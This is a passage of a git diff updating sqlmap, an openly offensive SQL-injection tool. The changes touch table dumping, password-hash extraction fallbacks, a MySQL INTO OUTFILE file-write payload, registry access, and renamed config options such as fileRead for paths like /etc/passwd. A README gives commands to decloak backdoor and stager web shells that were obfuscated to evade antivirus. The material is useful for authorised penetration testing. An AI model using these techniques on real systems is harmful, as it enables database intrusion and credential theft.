conf.exclude and conf.db in conf.exclude.split(','): + infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + singleTimeLogMessage(infoMsg) + return + conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -99,6 +106,14 @@ def dumpTable(self, foundData=None): tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: + if kb.dumpKeyboardInterrupt: + break + + if conf.exclude and tbl in conf.exclude.split(','): + infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) + singleTimeLogMessage(infoMsg) + continue + conf.tbl = tbl kb.data.dumpedTable = {} @@ -114,10 +129,7 @@ def dumpTable(self, foundData=None): else: kb.dumpTable = "%s.%s" % (conf.db, tbl) - if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ - or safeSQLIdentificatorNaming(tbl, True) not in \ - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ - or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) @@ -129,8 +141,8 @@ def dumpTable(self, foundData=None): columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if _ not in conf.exclude.split(',')] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) @@ -170,7 +182,11 @@ def dumpTable(self, foundData=None): if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) - if Backend.isDbms(DBMS.MSSQL): + if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: + warnMsg = "in case of table dumping problems (e.g. column entry order) " + warnMsg += "you are advised to rerun with '--force-pivoting'" + singleTimeWarnMessage(warnMsg) + query = rootQuery.blind.count % table query = agent.whereQuery(query) @@ -210,7 +226,7 @@ def dumpTable(self, foundData=None): entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -313,7 +329,11 @@ def dumpTable(self, foundData=None): elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) - if Backend.isDbms(DBMS.MSSQL): + if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: + warnMsg = "in case of table dumping problems (e.g. column entry order) " + warnMsg += "you are advised to rerun with '--force-pivoting'" + singleTimeWarnMessage(warnMsg) + try: indexRange = getLimitRange(count, plusOne=True) @@ -379,7 +399,7 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) @@ -459,12 +479,17 @@ def dumpAll(self): if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): - kb.data.cachedTables = { None: kb.data.cachedTables } + kb.data.cachedTables = {None: kb.data.cachedTables} for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: + if conf.exclude and table in conf.exclude.split(','): + infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) + logger.info(infoMsg) + continue + try: conf.tbl = table kb.data.cachedColumns = {} @@ -530,8 +555,8 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): conf.tbl = table colList = filter(None, sorted(columns)) - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if _ not in conf.exclude.split(',')] conf.col = ','.join(colList) kb.data.cachedColumns = {} diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 0b6190ae473..c8b40728e41 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index a57548c79cd..257b2deec43 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -49,7 +49,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") - inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)); + inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) @@ -284,17 +284,23 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "stacked query SQL injection technique" + debugMsg += "stacked query technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "UNION query SQL injection technique" + debugMsg += "UNION query technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) + elif Backend.isDbms(DBMS.MYSQL): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "LINES TERMINATED BY technique" + logger.debug(debugMsg) + + written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 0eae42a9bbd..b593e629c1c 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index e61d5486c91..51c0fff0e86 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index b5d86042377..b9a5aaddcae 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -60,7 +60,7 @@ def searchDb(self): values = [] db = safeSQLIdentificatorNaming(db) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): db = db.upper() infoMsg = "searching database" @@ -167,8 +167,9 @@ def searchTable(self): values = [] tbl = safeSQLIdentificatorNaming(tbl, True) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): tbl = tbl.upper() + conf.db = conf.db.upper() if conf.db else conf.db infoMsg = "searching table" if tblConsider == '1': @@ -303,7 +304,9 @@ def searchTable(self): for index in indexRange: query = rootQuery.blind.query2 - if query.endswith("'%s')"): + if " ORDER BY " in query: + query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery)) + elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery @@ -371,8 +374,8 @@ def searchColumn(self): infoMsgDb = "" colList = conf.col.split(',') - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if _ not in conf.exclude.split(',')] origTbl = conf.tbl origDb = conf.db @@ -387,8 +390,10 @@ def searchColumn(self): conf.db = origDb conf.tbl = origTbl - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): column = column.upper() + conf.db = conf.db.upper() if conf.db else conf.db + conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl infoMsg = "searching column" if colConsider == "1": diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 0d20b3461d2..9ef65a54b17 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index f65928a13be..a6d298e372e 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import Backend +from lib.core.common import getSafeExString from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import runningAsAdmin @@ -20,6 +21,7 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction @@ -125,20 +127,23 @@ def osPwn(self): raise SqlmapMissingPrivileges(errMsg) try: - from impacket import ImpactDecoder - from impacket import ImpactPacket + __import__("impacket") except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) - sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" + filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" - if os.path.exists(sysIgnoreIcmp): - fp = open(sysIgnoreIcmp, "wb") - fp.write("1") - fp.close() + if os.path.exists(filename): + try: + with open(filename, "wb") as f: + f.write("1") + except IOError, ex: + errMsg = "there has been a file opening/writing error " + errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" @@ -372,7 +377,7 @@ def regRead(self): else: regVal = conf.regVal - infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal) logger.info(infoMsg) return self.readRegKey(regKey, regVal, True) @@ -417,7 +422,7 @@ def regAdd(self): else: regType = conf.regType - infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." @@ -449,12 +454,12 @@ def regDel(self): regVal = conf.regVal message = "are you sure that you want to delete the Windows " - message += "registry path '%s\%s? [y/N] " % (regKey, regVal) + message += "registry path '%s\\%s? [y/N] " % (regKey, regVal) if not readInput(message, default='N', boolean=True): return - infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal) + infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 45ac345752c..538b2b10a95 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,6 @@ from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash -from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.convert import hexencode @@ -187,13 +186,12 @@ def getPasswordHashes(self): query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): - randStr = randomStr() getCurrentThreadData().disableStdOut = True - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): + for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: @@ -203,6 +201,9 @@ def getPasswordHashes(self): else: values = inject.getValue(query, blind=False, time=False) + if isNoneValue(values) and Backend.isDbms(DBMS.MSSQL): + values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) + for user, password in filterPairValues(values): if not user or user == " ": continue @@ -215,6 +216,8 @@ def getPasswordHashes(self): kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: + fallback = False + if not len(users): users = self.getUsers() @@ -228,13 +231,12 @@ def getPasswordHashes(self): if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True - randStr = randomStr() query = rootQuery.inband.query - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): + for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): password = "0x%s" % hexencode(password, conf.encoding).upper() if user not in kb.data.cachedUsersPasswords: @@ -266,6 +268,10 @@ def getPasswordHashes(self): count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if not isNumPosStrValue(count) and Backend.isDbms(DBMS.MSSQL): + fallback = True + count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user @@ -286,8 +292,16 @@ def getPasswordHashes(self): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) + + if fallback: + query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") + elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) + + elif Backend.isDbms(DBMS.HSQLDB): + query = rootQuery.blind.query % (index, user) + else: query = rootQuery.blind.query % (user, index) diff --git a/procs/mysql/write_file_limit.sql b/procs/mysql/write_file_limit.sql index 58fccab0a19..e879fbe4030 100644 --- a/procs/mysql/write_file_limit.sql +++ b/procs/mysql/write_file_limit.sql @@ -1 +1 @@ -LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- +LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - diff --git a/shell/README.txt b/shell/README.txt index 6e7f123fec7..77b1c57ee9f 100644 --- a/shell/README.txt +++ b/shell/README.txt @@ -1,7 +1,7 @@ Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: -find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; +find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: -find backdoor.*_ stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; +find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; diff --git a/shell/backdoors/backdoor.asp_ b/shell/backdoors/backdoor.asp_ index d126faee7dc..9f9a20586cb 100644 Binary files a/shell/backdoors/backdoor.asp_ and b/shell/backdoors/backdoor.asp_ differ diff --git a/shell/backdoors/backdoor.jsp_ b/shell/backdoors/backdoor.jsp_ index ef32603bbe9..d482c48cc43 100644 Binary files a/shell/backdoors/backdoor.jsp_ and b/shell/backdoors/backdoor.jsp_ differ diff --git a/shell/stagers/stager.asp_ b/shell/stagers/stager.asp_ index 75a64c1fc41..7918d6ac7aa 100644 Binary files a/shell/stagers/stager.asp_ and b/shell/stagers/stager.asp_ differ diff --git a/shell/stagers/stager.aspx_ b/shell/stagers/stager.aspx_ index 54d56503958..3a5a9b14e8b 100644 Binary files a/shell/stagers/stager.aspx_ and b/shell/stagers/stager.aspx_ differ diff --git a/shell/stagers/stager.jsp_ b/shell/stagers/stager.jsp_ index 0aa0886015c..ccda376ed00 100644 Binary files a/shell/stagers/stager.jsp_ and b/shell/stagers/stager.jsp_ differ diff --git a/shell/stagers/stager.php_ b/shell/stagers/stager.php_ index 64f8eacabdf..54c8930a26d 100644 Binary files a/shell/stagers/stager.php_ and b/shell/stagers/stager.php_ differ diff --git a/sqlmap.conf b/sqlmap.conf index 77849ce719f..88bcd002c9d 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -43,16 +43,16 @@ sitemapUrl = # Force usage of given HTTP method (e.g. PUT). method = -# Data string to be sent through POST. +# Data string to be sent through POST (e.g. "id=1"). data = -# Character used for splitting parameter values. +# Character used for splitting parameter values (e.g. &). paramDel = -# HTTP Cookie header value. +# HTTP Cookie header value (e.g. "PHPSESSID=a8d127e.."). cookie = -# Character used for splitting cookie values. +# Character used for splitting cookie values (e.g. ;). cookieDel = # File containing cookies in Netscape/wget format. @@ -98,7 +98,7 @@ authCred = # Syntax: key_file authFile = -# Ignore HTTP error code (e.g. 401). +# Ignore (problematic) HTTP error code (e.g. 401). # Valid: integer ignoreCode = @@ -241,7 +241,7 @@ skipStatic = False # Regexp to exclude parameters from testing (e.g. "ses"). paramExclude = -# Force back-end DBMS to this value. If this option is set, the back-end +# Force back-end DBMS to provided value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, @@ -256,7 +256,7 @@ dbms = # Syntax: username:password dbmsCred = -# Force back-end DBMS operating system to this value. If this option is +# Force back-end DBMS operating system to provided value. If this option is # set, the back-end DBMS identification process will be minimized as # needed. # If not set, sqlmap will detect back-end DBMS operating system @@ -367,28 +367,32 @@ tech = BEUSTQ # Default: 5 timeSec = 5 -# Range of columns to test for +# Range of columns to test for. # Valid: range of integers # Example: 1-10 uCols = -# Character to use for bruteforcing number of columns +# Character to use for bruteforcing number of columns. # Valid: string # Example: NULL uChar = -# Table to use in FROM part of UNION query SQL injection +# Table to use in FROM part of UNION query SQL injection. # Valid: string # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = -# Domain name used for DNS exfiltration attack +# Domain name used for DNS exfiltration attack. # Valid: string dnsDomain = -# Resulting page URL searched for second-order response +# Resulting page URL searched for second-order response. # Valid: string -secondOrder = +secondUrl = + +# Load second-order HTTP request from file. +# Valid: string +secondReq = [Fingerprint] @@ -481,7 +485,7 @@ dumpAll = False # Valid: True or False search = False -# Retrieve back-end database management system comments. +# Check for database management system database comments during enumeration. # Valid: True or False getComments = False @@ -494,8 +498,8 @@ tbl = # Back-end database management system database table column(s) to enumerate. col = -# Back-end database management system database table column(s) to not enumerate. -excludeCol = +# Back-end database management system identifiers (database(s), table(s) and column(s)) to not enumerate. +exclude = # Pivot column name. pivotColumn = @@ -575,15 +579,15 @@ shLib = # Read a specific file from the back-end DBMS underlying file system. # Examples: /etc/passwd or C:\boot.ini -rFile = +fileRead = # Write a local file to a specific path on the back-end DBMS underlying # file system. # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt -wFile = +fileWrite = # Back-end DBMS absolute filepath to write the file to. -dFile = +fileDest = # These options can be used to access the back-end database management @@ -710,7 +714,7 @@ forms = False # Valid: True or False freshQueries = False -# Use DBMS hex function(s) for data retrieval. +# Use hex conversion during data retrieval. # Valid: True or False hexConvert = False @@ -742,14 +746,14 @@ updateAll = False # Run host OS command(s) when SQL injection is found. alert = -# Set question answers (e.g. "quit=N,follow=N"). +# Set predefined answers (e.g. "quit=N,follow=N"). answers = # Beep on question and/or when SQL injection is found. # Valid: True or False beep = False -# Offline WAF/IPS/IDS payload detection testing. +# Offline WAF/IPS payload detection testing. # Valid: True or False checkPayload = False @@ -757,7 +761,7 @@ checkPayload = False # Valid: True or False cleanup = False -# Check for missing (non-core) sqlmap dependencies. +# Check for missing (optional) sqlmap dependencies. # Valid: True or False dependencies = False @@ -770,10 +774,14 @@ disableColoring = False # Default: 1 googlePage = 1 -# Make a thorough testing for a WAF/IPS/IDS protection. +# Make a thorough testing for a WAF/IPS protection. # Valid: True or False identifyWaf = False +# Display list of available tamper scripts +# Valid: True or False +listTampers = False + # Imitate smartphone through HTTP User-Agent header. # Valid: True or False mobile = False @@ -782,7 +790,7 @@ mobile = False # Valid: True or False offline = False -# Skip heuristic detection of WAF/IPS/IDS protection. +# Skip heuristic detection of WAF/IPS protection. # Valid: True or False skipWaf = False diff --git a/sqlmap.py b/sqlmap.py index a0dcdb8329b..b13d8c12e22 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,41 +1,41 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import sys +try: + import sys -sys.dont_write_bytecode = True + sys.dont_write_bytecode = True -try: - __import__("lib.utils.versioncheck") # this has to be the first non-standard import -except ImportError: - exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") - -import bdb -import distutils -import glob -import inspect -import json -import logging -import os -import re -import shutil -import sys -import thread -import threading -import time -import traceback -import warnings - -warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) -warnings.filterwarnings(action="ignore", category=DeprecationWarning) - -from lib.core.data import logger + try: + __import__("lib.utils.versioncheck") # this has to be the first non-standard import + except ImportError: + exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") + + import bdb + import distutils + import glob + import inspect + import json + import logging + import os + import re + import shutil + import sys + import thread + import threading + import time + import traceback + import warnings + + warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) + warnings.filterwarnings(action="ignore", category=DeprecationWarning) + + from lib.core.data import logger -try: from lib.core.common import banner from lib.core.common import checkIntegrity from lib.core.common import createGithubIssue @@ -57,6 +57,7 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.option import initOptions from lib.core.option import init + from lib.core.patch import dirtyPatches from lib.core.settings import GIT_PAGE from lib.core.settings import IS_WIN from lib.core.settings import LEGAL_DISCLAIMER @@ -66,9 +67,13 @@ from lib.parse.cmdline import cmdLineParser except KeyboardInterrupt: errMsg = "user aborted" - logger.error(errMsg) - raise SystemExit + if "logger" in globals(): + logger.critical(errMsg) + raise SystemExit + else: + import time + exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) def modulePath(): """ @@ -108,13 +113,13 @@ def checkEnvironment(): for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"): globals()[_] = getattr(sys.modules["lib.core.exception"], _) - def main(): """ Main function of sqlmap when running from command line. """ try: + dirtyPatches() checkEnvironment() setPaths(modulePath()) banner() @@ -136,16 +141,13 @@ def main(): conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) - dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) + dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) init() if not conf.updateAll: # Postponed imports (faster start) - if conf.profile: - from lib.core.profiling import profile - profile() - elif conf.smokeTest: + if conf.smokeTest: from lib.core.testing import smokeTest smokeTest() elif conf.liveTest: @@ -153,22 +155,25 @@ def main(): liveTest() else: from lib.controller.controller import start - try: - start() - except thread.error as ex: - if "can't start new thread" in getSafeExString(ex): - errMsg = "unable to start new threads. Please check OS (u)limits" - logger.critical(errMsg) - raise SystemExit - else: - raise + if conf.profile: + from lib.core.profiling import profile + globals()["start"] = start + profile() + else: + try: + start() + except thread.error as ex: + if "can't start new thread" in getSafeExString(ex): + errMsg = "unable to start new threads. Please check OS (u)limits" + logger.critical(errMsg) + raise SystemExit + else: + raise except SqlmapUserQuitException: - errMsg = "user quit" - try: + if not conf.batch: + errMsg = "user quit" logger.error(errMsg) - except KeyboardInterrupt: - pass except (SqlmapSilentQuitException, bdb.BdbQuit): pass @@ -178,29 +183,18 @@ def main(): except SqlmapBaseException as ex: errMsg = getSafeExString(ex) - try: - logger.critical(errMsg) - except KeyboardInterrupt: - pass + logger.critical(errMsg) + raise SystemExit except KeyboardInterrupt: print - errMsg = "user aborted" - try: - logger.error(errMsg) - except KeyboardInterrupt: - pass - except EOFError: print - errMsg = "exit" - try: - logger.error(errMsg) - except KeyboardInterrupt: - pass + errMsg = "exit" + logger.error(errMsg) except SystemExit: pass @@ -211,124 +205,142 @@ def main(): excMsg = traceback.format_exc() valid = checkIntegrity() - try: - if valid is False: - errMsg = "code integrity check failed (turning off automatic issue creation). " - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE - logger.critical(errMsg) - print - dataToStdout(excMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("tamper/", "waf/")): - logger.critical(errMsg) - print - dataToStdout(excMsg) - raise SystemExit - - elif "MemoryError" in excMsg: - errMsg = "memory exhaustion detected" - logger.error(errMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")): - errMsg = "no space left on output device" - logger.error(errMsg) - raise SystemExit - - elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")): - errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE - logger.error(errMsg) - raise SystemExit - - elif "Read-only file system" in excMsg: - 